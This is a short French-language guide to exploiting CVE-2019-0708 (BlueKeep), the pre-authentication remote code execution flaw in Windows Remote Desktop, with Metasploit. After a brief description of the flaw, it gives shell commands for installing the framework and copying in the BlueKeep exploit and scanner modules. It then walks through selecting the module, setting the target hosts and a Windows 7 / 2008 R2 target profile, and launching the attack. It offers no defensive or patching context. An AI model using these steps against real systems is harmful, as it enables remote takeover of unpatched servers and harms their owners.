CVE-2019-0708

CVE-2019-0708 avec Metasploit-Framework

La vulnérabilité CVE-2019-0708 permet de contourner l'authentification en vérifiant l'identité de l'utilisateur, ce qui permet de se connecter via le protocole RDP sans aucune interaction et d'envoyer du code malveillant pour exécuter des commandes sur le serveur. Si elle est exploitée, elle peut entraîner une intrusion sur le serveur, une infection par un virus, similaire à la propagation massive de la vulnérabilité WannaCry EternalBlue.

Le 7 septembre 2019, vers 1h du matin, Metasploit a mis à jour l'exploit.

Utilisation :

---

0x01 Configuration de l'environnement

Exécuter dans le terminal

apt install metasploit-framework

cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/

cp rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/

cp cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/

cp cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/

0x02 Mode opératoire

1. Utiliser le module windows/rdp/cve_2019_0708_bluekeep_rce

2. Définir RHOSTS et target (si la machine cible utilise VMWare, définir target sur 3)

0 Automatic targeting via fingerprinting

1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64)

2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)

3 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)

4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)

3. Lancer l'exploit